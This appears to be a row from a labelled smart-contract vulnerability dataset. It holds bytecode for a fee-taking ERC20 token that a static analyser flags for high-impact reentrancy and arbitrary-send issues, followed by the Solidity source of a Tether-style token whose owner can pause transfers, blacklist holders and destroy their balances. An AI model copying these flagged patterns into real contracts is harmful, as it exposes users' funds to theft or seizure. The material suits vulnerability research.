040516009815260200161018a565b34801561024657600080fd5b5061025a610255366004611b60565b6104e3565b005b34801561026857600080fd5b5061025a610277366004611ba5565b61058c565b34801561028857600080fd5b5061025a610297366004611b28565b6105f5565b3480156102a857600080fd5b506101db6102b7366004611a4d565b610674565b3480156102c857600080fd5b5061025a610697565b3480156102dd57600080fd5b506101db6102ec366004611a4d565b6106c4565b3480156102fd57600080fd5b5061025a6106e6565b34801561031257600080fd5b506000546040516001600160a01b03909116815260200161018a565b34801561033a57600080fd5b5060408051808201909152600381526221232360e91b602082015261017d565b34801561036657600080fd5b506101b3610375366004611afd565b61075a565b34801561038657600080fd5b50601354600160a81b900460ff166101b3565b3480156103a557600080fd5b506101db6103b4366004611a4d565b610767565b3480156103c557600080fd5b5061025a61078d565b3480156103da57600080fd5b5061025a6107c3565b3480156103ef57600080fd5b506101db610810565b34801561040457600080fd5b506101db610413366004611a85565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561044a57600080fd5b5061025a610828565b6000610460338484610bdb565b5060015b92915050565b6000610477848484610cff565b6104c984336104c485604051806060016040528060288152602001611d66602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906112d3565b610bdb565b5060019392505050565b60006104de306106c4565b905090565b6011546001600160a01b0316336001600160a01b03161461050357600080fd5b603381106105505760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b60008160ff16116105ed5760405162461bcd60e51b815260206004820152602560248201527f4d617820686f6c64696e67206361702063616e6e6f74206265206c657373207460448201526468616e203160d81b6064820152608401610547565b60ff16601555565b6000546001600160a01b0316331461061f5760405162461bcd60e51b815260040161054790611c19565b6013805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870690602001610581565b6001600160a01b0381166000908152600660205260408120546104649042611d15565b6011546001600160a01b0316336001600160a01b0316146106b757600080fd5b476106c18161130d565b50565b6001600160a01b03811660009081526002602052604081205461046490611347565b6000546001600160a01b031633146107105760405162461bcd60e51b815260040161054790611c19565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610460338484610cff565b6001600160a01b0381166000908152600660205260408120600101546104649042611d15565b6011546001600160a01b0316336001600160a01b0316146107ad57600080fd5b60006107b8306106c4565b90506106c1816113cb565b6000546001600160a01b031633146107ed5760405162461bcd60e51b815260040161054790611c19565b6013805460ff60a01b1916600160a01b17905561080b4260b4611cbe565b601455565b6013546000906104de906001600160a01b03166106c4565b6000546001600160a01b031633146108525760405162461bcd60e51b815260040161054790611c19565b601354600160a01b900460ff16156108ac5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610547565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108e9308268056bc75e2d63100000610bdb565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561092257600080fd5b505afa158015610936573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095a9190611a69565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109a257600080fd5b505afa1580156109b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109da9190611a69565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610a2257600080fd5b505af1158015610a36573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a5a9190611a69565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730610a8a816106c4565b600080610a9f6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610b0257600080fd5b505af1158015610b16573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b3b9190611b78565b50506706f05b59d3b200006010555042600d5560135460125460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b9f57600080fd5b505af1158015610bb3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd79190611b44565b5050565b6001600160a01b038316610c3d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610547565b6001600160a01b038216610c9e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610547565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d635760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610547565b6001600160a01b038216610dc55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610547565b60008111610e275760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610547565b6000546001600160a01b03848116911614801590610e5357506000546001600160a01b03838116911614155b1561127657601354600160a81b900460ff1615610ed3573360009081526006602052604090206002015460ff16610ed357604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6013546001600160a01b03838116911614801590610efa57506001600160a01b0382163014155b15610f6957610f07611570565b81610f11846106c4565b610f1b9190611cbe565b1115610f695760405162461bcd60e51b815260206004820152601960248201527f4d617820686f6c64696e67206361702062726561636865642e000000000000006044820152606401610547565b6013546001600160a01b038481169116148015610f9457506012546001600160a01b03838116911614155b8015610fb957506001600160a01b03821660009081526005602052604090205460ff16155b1561111857601354600160a01b900460ff166110175760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610547565b600f600a55601354600160a81b900460ff16156110de574260145411156110de5760105481111561104757600080fd5b6001600160a01b03821660009081526006602052604090205442116110b95760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610547565b6110c442602d611cbe565b6001600160a01b0383166000908152600660205260409020555b601354600160a81b900460ff1615611118576110fb42600f611cbe565b6001600160a01b0383166000908152600660205260409020600101555b6000611123306106c4565b601354909150600160b01b900460ff1615801561114e57506013546001600160a01b03858116911614155b80156111635750601354600160a01b900460ff165b1561127457600f600a55601354600160a81b900460ff16156111f5576001600160a01b03841660009081526006602052604090206001015442116111f55760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610547565b801561126257600b5460135461122b91606491611225919061121f906001600160a01b03166106c4565b9061159b565b9061161a565b81111561125957600b5460135461125691606491611225919061121f906001600160a01b03166106c4565b90505b611262816113cb565b478015611272576112724761130d565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806112b857506001600160a01b03831660009081526005602052604090205460ff165b156112c1575060005b6112cd8484848461165c565b50505050565b600081848411156112f75760405162461bcd60e51b81526004016105479190611bc6565b5060006113048486611d15565b95945050505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610bd7573d6000803e3d6000fd5b60006007548211156113ae5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610547565b60006113b861168a565b90506113c4838261161a565b9392505050565b6013805460ff60b01b1916600160b01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061142157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561147557600080fd5b505afa158015611489573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ad9190611a69565b816001815181106114ce57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526012546114f49130911684610bdb565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac9479061152d908590600090869030904290600401611c4e565b600060405180830381600087803b15801561154757600080fd5b505af115801561155b573d6000803e3d6000fd5b50506013805460ff60b01b1916905550505050565b6000606460155461158768056bc75e2d6310000090565b6115919190611cf6565b6104de9190611cd6565b6000826115aa57506000610464565b60006115b68385611cf6565b9050826115c38583611cd6565b146113c45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610547565b60006113c483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116ad565b80611669576116696116db565b611674848484611709565b806112cd576112cd600e54600955600f54600a55565b6000806000611697611800565b90925090506116a6828261161a565b9250505090565b600081836116ce5760405162461bcd60e51b81526004016105479190611bc6565b5060006113048486611cd6565b6009541580156116eb5750600a54155b156116f257565b60098054600e55600a8054600f5560009182905555565b60008060008060008061171b87611842565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061174d908761189f565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461177c90866118e1565b6001600160a01b03891660009081526002602052604090205561179e81611940565b6117a8848361198a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117ed91815260200190565b60405180910390a3505050505050505050565b600754600090819068056bc75e2d6310000061181c828261161a565b8210156118395750506007549268056bc75e2d6310000092509050565b90939092509050565b600080600080600080600080600061185f8a600954600a546119ae565b925092509250600061186f61168a565b905060008060006118828e8787876119fd565b919e509c509a509598509396509194505050505091939550919395565b60006113c483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112d3565b6000806118ee8385611cbe565b9050838110156113c45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610547565b600061194a61168a565b90506000611958838361159b565b3060009081526002602052604090205490915061197590826118e1565b30600090815260026020526040902055505050565b600754611997908361189f565b6007556008546119a790826118e1565b6008555050565b60008080806119c26064611225898961159b565b905060006119d560646112258a8961159b565b905060006119ed826119e78b8661189f565b9061189f565b9992985090965090945050505050565b6000808080611a0c888661159b565b90506000611a1a888761159b565b90506000611a28888861159b565b90506000611a3a826119e7868661189f565b939b939a50919850919650505050505050565b600060208284031215611a5e578081fd5b81356113c481611d42565b600060208284031215611a7a578081fd5b81516113c481611d42565b60008060408385031215611a97578081fd5b8235611aa281611d42565b91506020830135611ab281611d42565b809150509250929050565b600080600060608486031215611ad1578081fd5b8335611adc81611d42565b92506020840135611aec81611d42565b929592945050506040919091013590565b60008060408385031215611b0f578182fd5b8235611b1a81611d42565b946020939093013593505050565b600060208284031215611b39578081fd5b81356113c481611d57565b600060208284031215611b55578081fd5b81516113c481611d57565b600060208284031215611b71578081fd5b5035919050565b600080600060608486031215611b8c578283fd5b8351925060208401519150604084015190509250925092565b600060208284031215611bb6578081fd5b813560ff811681146113c4578182fd5b6000602080835283518082850152825b81811015611bf257858101830151858201604001528201611bd6565b81811115611c035783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611c9d5784516001600160a01b031683529383019391830191600101611c78565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cd157611cd1611d2c565b500190565b600082611cf157634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d1057611d10611d2c565b500290565b600082821015611d2757611d27611d2c565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146106c157600080fd5b80151581146106c157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220308449e563ab684fe1a9b820c557d18c25df6c7fc81735c458b44a4abe9f45c564736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,169 |
0x1df7aa5551e801e280007dc0fc0454e2d06c1a89 | /**
*Submitted for verification at Etherscan.io on 2021-02-19
*/
pragma solidity ^0.4.17;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public returns (bool);
function approve(address spender, uint value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) returns (bool success) {
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(msg.sender, owner, fee);
}
Transfer(msg.sender, _to, sendAmount);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) returns (bool success) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(_from, owner, fee);
}
Transfer(_from, _to, sendAmount);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens than an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BlackList is Ownable, BasicToken {
/////// Getters to allow the same blacklist to be used also by other contracts (including upgraded Tether) ///////
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
_totalSupply -= dirtyFunds;
DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public returns (bool);
function transferFromByLegacy(address sender, address from, address spender, uint value) public returns (bool);
function approveByLegacy(address from, address spender, uint value) public returns (bool);
}
contract BkexChain is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
function BkexChain(uint _initialSupply, string _name, string _symbol, uint _decimals) public {
_totalSupply = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[owner] = _initialSupply;
deprecated = false;
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused returns (bool success) {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused returns (bool success) {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) returns (bool success) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply -= amount;
balances[owner] -= amount;
Redeem(amount);
}
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
require(newBasisPoints < 20);
require(newMaxFee < 50);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
Params(basisPointsRate, maximumFee);
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value); // Check if the sender has enough
balances[msg.sender] -= _value; // Subtract from the sender
_totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
} | 0x60606040523615610194576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101995780630753c30c14610227578063095ea7b3146102605780630e136b19146102ba5780630ecb93c0146102e757806318160ddd1461032057806323b872dd1461034957806326976e3f146103c257806327e235e314610417578063313ce56714610464578063353907141461048d5780633eaaf86b146104b65780633f4ba83a146104df57806342966c68146104f457806359bf1abe1461052f5780635c658165146105805780635c975abb146105ec57806370a08231146106195780638456cb5914610666578063893d20e81461067b5780638da5cb5b146106d057806395d89b4114610725578063a9059cbb146107b3578063c0324c771461080d578063db006a7514610839578063dd62ed3e1461085c578063dd644f72146108c8578063e47d6060146108f1578063e4997dc514610942578063e5b5019a1461097b578063f2fde38b146109a4578063f3bdc228146109dd575b600080fd5b34156101a457600080fd5b6101ac610a16565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ec5780820151818401526020810190506101d1565b50505050905090810190601f1680156102195780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561023257600080fd5b61025e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ab4565b005b341561026b57600080fd5b6102a0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610bd1565b604051808215151515815260200191505060405180910390f35b34156102c557600080fd5b6102cd610d37565b604051808215151515815260200191505060405180910390f35b34156102f257600080fd5b61031e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d4a565b005b341561032b57600080fd5b610333610e63565b6040518082815260200191505060405180910390f35b341561035457600080fd5b6103a8600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f33565b604051808215151515815260200191505060405180910390f35b34156103cd57600080fd5b6103d561112a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561042257600080fd5b61044e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611150565b6040518082815260200191505060405180910390f35b341561046f57600080fd5b610477611168565b6040518082815260200191505060405180910390f35b341561049857600080fd5b6104a061116e565b6040518082815260200191505060405180910390f35b34156104c157600080fd5b6104c9611174565b6040518082815260200191505060405180910390f35b34156104ea57600080fd5b6104f261117a565b005b34156104ff57600080fd5b6105156004808035906020019091905050611238565b604051808215151515815260200191505060405180910390f35b341561053a57600080fd5b610566600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061133c565b604051808215151515815260200191505060405180910390f35b341561058b57600080fd5b6105d6600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611392565b6040518082815260200191505060405180910390f35b34156105f757600080fd5b6105ff6113b7565b604051808215151515815260200191505060405180910390f35b341561062457600080fd5b610650600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506113ca565b6040518082815260200191505060405180910390f35b341561067157600080fd5b6106796114d9565b005b341561068657600080fd5b61068e611599565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106db57600080fd5b6106e36115c2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561073057600080fd5b6107386115e7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561077857808201518184015260208101905061075d565b50505050905090810190601f1680156107a55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156107be57600080fd5b6107f3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611685565b604051808215151515815260200191505060405180910390f35b341561081857600080fd5b6108376004808035906020019091908035906020019091905050611846565b005b341561084457600080fd5b61085a600480803590602001909190505061192b565b005b341561086757600080fd5b6108b2600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611abe565b6040518082815260200191505060405180910390f35b34156108d357600080fd5b6108db611c03565b6040518082815260200191505060405180910390f35b34156108fc57600080fd5b610928600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611c09565b604051808215151515815260200191505060405180910390f35b341561094d57600080fd5b610979600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611c29565b005b341561098657600080fd5b61098e611d42565b6040518082815260200191505060405180910390f35b34156109af57600080fd5b6109db600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611d66565b005b34156109e857600080fd5b610a14600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611e3b565b005b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aac5780601f10610a8157610100808354040283529160200191610aac565b820191906000526020600020905b815481529060010190602001808311610a8f57829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b0f57600080fd5b6001600a60146101000a81548160ff02191690831515021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fcc358699805e9a8b7f77b522628c7cb9abd07d9efb86b6fb616af1609036a99e81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000604060048101600036905010151515610beb57600080fd5b600a60149054906101000a900460ff1615610d2357600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663aee92d333386866000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1515610d0157600080fd5b6102c65a03f11515610d1257600080fd5b505050604051805190509150610d30565b610d2d8484611fbf565b91505b5092915050565b600a60149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610da557600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f42e160154868087d6bfdc0ca23d96a1c1cfa32f1b72ba9ba27b69b98a0d819dc81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615610f2a57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515610